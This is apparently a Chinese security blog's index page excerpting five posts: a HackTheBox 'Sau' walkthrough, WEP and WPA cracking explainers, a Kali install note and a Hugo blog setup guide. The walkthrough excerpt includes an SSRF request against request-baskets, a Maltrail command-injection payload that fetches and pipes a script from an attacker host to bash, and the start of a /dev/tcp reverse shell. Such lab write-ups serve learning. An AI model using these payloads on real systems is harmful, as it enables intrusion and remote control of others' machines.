小镇做题家——HackTheBox-Sau

PentestGPT不停地出现在我的GitHub主页流上,我看着它,像极了普通工厂工人看着自动化流水线车间。 怎么办呢?打不过就加入吧!但目前PentestGPT需要ChatGPT-4,我开不起😅 还能怎么办呢?看看演示视频吧。演示者用它来打HackTheBox,看着看着自己也手痒了。之前有注册过HackTheBox账号,但VPN实在太卡了,连最基本的网络连通性都无法保证。要想玩HackTheBox,首先得解决网络问题。 解决网络问题 一图流: 挂个代理就行。openVPN居然还能挂代理 废话不多说,开始做题! User Flag 连上VPN,先测试一下网络: ping 10.10.11.224 通!而且延迟是68ms,如果不用代理,需要680ms😁 先用nmap探测一下端口信息: nmap 10.10.11.224 -v 22端口和55555端口开放,80端口被过滤。 先看看55555端口是不是web服务: 一开始我在这个简陋的页面转了很久,把能看的地方都看了一遍,仍然没什么收获。因为它太过简陋,让我不敢相信他是一个通用型应用。 直到我换了一个浏览器打开: Chrome在干嘛??? 言归正传,Powered by request-baskets,版本是1.2.1,搜索一下它有什么漏洞。 最终我找到了request-baskets SSRF details - CodiMD,一个SSRF。 还记得远处被filtered了的80端口吗?或许可以利用SSRF看看里面究竟有什么: curl --location 'http://10.10.11.224:55555/api/baskets/fox09' --header 'Content-Type: application/json' --data '{"forward_url": "http://127.0.0.1:80/", "proxy_response": true, "insecure_tls": false, "expand_path": true, "capacity": 250}' 再访问http://10.10.11.224:55555/fox09: 嗯~得到了一个Maltrail页面,搜搜它有什么漏洞。 Unauthenticated OS Command Injection in stamparm/maltrail vulnerability found in maltrail,一个没有回显命令执行。 在经过无数失败的反弹shell后,我找到了起作用的方法: curl 'http://10.10.11.224:55555/fox09/login' --data 'username=;`curl 10.10.16.18:8000/rev.sh|bash`' 其中rev.sh的内容为: #/bin/bash bash -i >& /dev/tcp/10....

July 17, 2023 · fox09

Wi-Fi,Wi-Fi(二)——WPA

书接上回,WPA(Wi-Fi Protected Access)是一种用于保护Wi-Fi网络安全的认证和加密协议。它是在WEP协议的基础上进行改进而提出的。 WPA的设计目标是提供更强的安全性和抵御常见的攻击,以取代WEP的弱点。以下是WPA的主要特点和功能: 认证方式:WPA引入了更强大的认证方式,如预共享密钥(PSK)和802.1X/EAP(Extensible Authentication Protocol)。与WEP的简单密钥认证不同,WPA允许更复杂的认证机制,提供更好的身份验证和访问控制。不过在日常生活中,较为常用的方式是预共享密钥。 密钥管理:WEP使用静态密钥,所有设备共享同一个密钥,这容易受到字典攻击和暴力破解。WPA引入了动态密钥管理,使用TKIP(Temporal Key Integrity Protocol)生成每个数据包的唯一密钥,提供了更强的保密性和完整性。 加密算法:WEP使用RC4加密算法,它已经被证明存在许多安全漏洞。WPA采用了更强大的加密算法,如TKIP和AES(Advanced Encryption Standard),提供更高的加密强度和安全性。 动态密钥更新:WEP中的密钥是静态的,很少更改。WPA引入了动态密钥更新机制,通过四元组握手协议(4-way handshake)定期更换会话密钥,增加了网络的安全性。 报文完整性:WEP没有提供有效的报文完整性检查机制,使得数据包可能被篡改。WPA引入了Michael算法和报文完整性检查,可以检测和防止报文被修改。 在实际的破解中,WPA不存在类似WEP的“原理性致命缺陷”,只能被暴力破解。只要它的密钥设置得越复杂,破解的难度就越大。 注意,这里的暴力破解并不是像通常web渗透中,通过向服务端使用不同的密码进行正常请求,再通过返回来判断密码是否正确的在线破解。在实际操作中,在线破解WPA几乎是不可能的。 一开始这个说法我也无法接受,我还问了问chatgpt,它是这么回答的: WPA之所以难以在线破解,是因为它使用了更强大的加密算法(如TKIP或AES)以及更复杂的密钥派生过程。这使得在实时网络通信中通过传统的暴力破解方法(逐个尝试密码)非常困难,因为需要处理的可能性太多,以至于破解密码所需的时间和计算资源都会非常庞大。 嗯~很有道理,再来做个实验验证一下。拿出手机,对一个未知Wi-Fi随便输入一个密码,大约需要2秒才会返回“无法加入网络”的提示。显然,这对于暴力破解来说是无法接受的。 那该如何破解WPA? 预共享密钥 预共享密钥模式(Pre-Shared Key, PSK)是目前Wi-Fi中最常见的安全认证模式,也被称为个人模式(Personal mode),在WPA和WPA2中均有使用。在预共享密钥模式下,所有设备使用相同的预先共享的密钥进行认证和加密通信。 以下是预共享密钥模式的一般工作流程: 设置网络:网络管理员在无线路由器或访问点上配置网络设置,包括网络名称(SSID)和预共享密钥(密码)。 连接设备:用户通过Wi-Fi设置界面在其设备上选择要连接的网络,并输入预共享密钥。 认证握手:设备将预共享密钥发送到无线路由器或访问点以进行认证。该过程使用了四元组握手(4-way handshake)协议,其中设备和路由器之间通过交换消息来验证其身份并生成会话密钥。 加密通信:一旦认证成功,设备和路由器之间的通信将使用会话密钥进行加密。会话密钥是使用预共享密钥生成的,用于保护数据的机密性。 其中四次握手认证(简略版,不包含GTK)如下图: ANonce和SNonce分别代表AP和STA的Nonce,Nonce是指协议的任意指定用户只使用一次的随机数。 AP将ANonce发给STA,STA收到ANonce,再结合自己生成的SNonce计算PTK。 STA将SNonce和MIC发给AP,其中MIC基于PTK进行计算,用于消息的完整性校验。 AP收到SNonce,计算PTK,并对MIC做校验,如校验成功则返回MIC。 STA收到MIC校验正确即可装入PTK,并响应AP;AP在收到响应后也装入PTK。 其中,PTK的计算公式为: PTK = PRF(PMK, “Pairwise key expansion”, Min(AP_MAC, STA_MAC) || Max(AP_MAC, STA_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce)) 其中,PRF(Pseudo-Random Function)是一个伪随机函数,“Pairwise key expansion"是一个固定字符串,"||“表示连接操作,Min()和Max()表示选择较小和较大的值。 在计算PTK时,首先要确定PMK,它在预共享密钥模式下的计算公式为: PMK = PBKDF2(HMAC-SHA1, PSK, ssid, 4096, 256)...

July 12, 2023 · fox09

Kali安装小记

闲来无事,看到Kali出了2023.2版本,决定在虚拟机里安一个,以备不时之需。 我的电脑是MacBook M1版,所以要下载Apple Silicon版本的镜像。 下载完成后用PD打开镜像,填写名称和选择保存位置。这里我勾选了安装前设定,提前更改一些配置。 CPU内存这些常规配置不一一赘述,图形配置我选择了更多空间。不选择缩放的原因是PD没有标明它的缩放倍率(目测为1.5倍),也无法更改缩放倍率。到了实际应用就会导致,虚拟机UI大小与本机一致时会非常模糊,调高分辨率又会导致UI过小——因为本机的渲染倍率是2倍。至于要怎么解决这个问题,后续会说明。 一切设置完毕后,开启虚拟机,选择Graphical install(图形化安装)。 安装基本全部选择默认设置,没什么需要变更的。需要注意这里,Write the changes to disks要选择Yes,才能将配置写入虚拟磁盘。可以看到由于此前没有选择缩放,这里的比例非常奇怪。 安装过程不表,最后进入系统,把分辨率更改为2560x1600,再使用Kali HiDPI Mode,即可得到高清且大小合适的UI。 由于Kali并不会自动安装Parallels Tools,还需要手动安装一下。选择 设备-CD/DVD-连接镜像…,在 /Applications/Parallels Desktop.app/Contents/Resources/Tools/ 路径下选择prl-tools-lin-arm.iso 回到虚拟机,在终端中执行以下命令: sudo mount -oro,exec,remount /media/cdrom sudo /media/cdrom/install 注意,这里的“cdrom”可能会根据虚拟机此前连接CD/DVD的情况而不同。比如我在安装完成后没有推出kali-linux-2023.2a-installer-arm64.iso,直接插入prl-tools-lin-arm.iso,此时的目录就变为/media/cdrom0。 顺利执行后看到安装向导: 安装完成后会提示重启: 重启后即可使用Parallels Tools。

June 13, 2023 · fox09

Wi-Fi,Wi-Fi(一)——WEP

Wi-Fi是为数不多让我能感到工作技能与生活产生交集的领域,毕竟不是每个人都有自己的网站,但几乎每个人家里都会有Wi-Fi。 成为黑客的第一步,就是破解Wi-Fi密码。——亚历山大·伊万诺维奇·斯米尔诺夫(Alexander Ivanovich Smirnov) WEP,中文名称为有线等效加密,是第一个被广泛采用的Wi-Fi安全协议,首次出现于1997年 通过的 IEEE 802.11 标准。如今想找到一个支持WEP的设备以及不容易了。 WEP设计的安全性体现在以下三点: 消息机密性 无线网络的安全性最基本的就是要能够防止故意窃听,WEP使用RC4算法对无线数据进行加密,使得数据在无线网络中传输时不被窃听。 接入控制 在合法用户之间提供接入控制,来防止其他用户任意接入无线信道而影响合法用户。每个想要接入信道的合法用户都需要提供正确的共享密钥,这也有效地降低了非法用户的恶意攻击。 消息完整性 为了保证数据在无线网络传递过程中的完整性,WEP提供CRC32算法进行完整性校验,通过验证校验值确定传输的消息是否被篡改。 WEP 协议由认证协议和加密协议两个部分组成。其中认证协议用于确认通信双方的身份,加密协议用来确保通信数据的秘密性。而正是WEP的加密协议存在的缺陷,使得破解WEP密钥成为可能。 WEP加密协议原理 下面是WEP的加密协议的流程图 总体流程可以归纳为: 把用户输入的秘密密钥(SK,40bit)和初始向量(IV,24bit)拼接成随机密钥(K,64bit) 把随机密钥经由RC4算法生成伪随机密钥序列 把明文数据经过CRC32算法加密,再与它本身组合生成明文序列 用明文序列和伪随机密钥序列的异或结果作为密文序列 将初始向量和密文序列合成密文帧 其中,初始向量为随机生成,秘密密钥则是我们常说的Wi-Fi密码。 从流程图中不难看出,初始向量为明文传输。 RC4算法 RC4是一种串流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。它由两部分组成:密钥调度算法KSA(KeyScheduling Algorithm)和伪随机密钥序列生成算法PRGA(Pseudo Random Generation Algorithm)。 密钥调度算法KSA将输入L字节的随机密钥K生成一个由N个元素组成的排列 $S$,L一般为8或16,N一般为256。 以下是KSA的python实现: def KSA(key): S = list(range(256)) # 初始化S盒为0到255的列表 keyLength = len(key) j = 0 for i in range(256): j = (j + S[i] + key[i % keyLength]) % 256 S[i], S[j] = S[j], S[i] # 交换S[i]和S[j]的值 return S # 示例密钥为64位的二进制数 key = [0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0] # 调用函数进行密钥排列初始化 S_box = KSA(key) print(S_box) # 输出排列后的S盒 伪随机密钥序列生成算法PRGA将两个索引 $i$ 和 $j$ 初始化为0,然后循环执行四个简单的操作:...

June 5, 2023 · fox09

一个普通博客的诞生

博客的第一篇文章,就记录一下这个博客从零开始搭建的过程吧。 Hugo Hugo号称世界上最快的网站建设框架,既然是最快,那一定是静态网站了。之前有用过WordPress建站,用了一段时间后,还是觉得WordPress的许多功能对于博客来说都是冗余的,所以最后还是选择静态的方式。 Hugo的本地安装十分简便: brew install hugo 使用Hugo创建站点: hugo new site <name of site> -f yml 这会在当前路径下创建站点文件夹,-f yml表示使用yml作为配置文件格式,如不添加,Hugo则会默认使用toml格式。 PaperMod 在Hugo之前,我还尝试过使用Hexo来搭建博客,一直也没觉得有何不妥。直到有一次在网上冲浪,看到某个博客十分简洁美观,设计很是吸引我。拉到网站底部发现几个大字:Powered by Hugo & PaperMod,可以说PaperMod是我转用转用Hugo的契机。 PaperMod的安装也十分简便,在Hugo站点的文件夹中,运行: git clone https://github.com/adityatelange/hugo-PaperMod themes/PaperMod --depth=1 再在Hugo的config.yml中添加: theme: "PaperMod" 即可完成PaperMod主题配置。 个性化设置 PaperMod还提供了演示站点以及站点的源码,供使用者学习参考。其中config.yml的具体内容如下: baseURL: "https://examplesite.com/" title: ExampleSite paginate: 5 theme: PaperMod enableRobotsTXT: true buildDrafts: false buildFuture: false buildExpired: false googleAnalytics: UA-123-45 minify: disableXML: true minifyOutput: true params: env: production # to enable google analytics, opengraph, twitter-cards and schema....

May 17, 2023 · fox09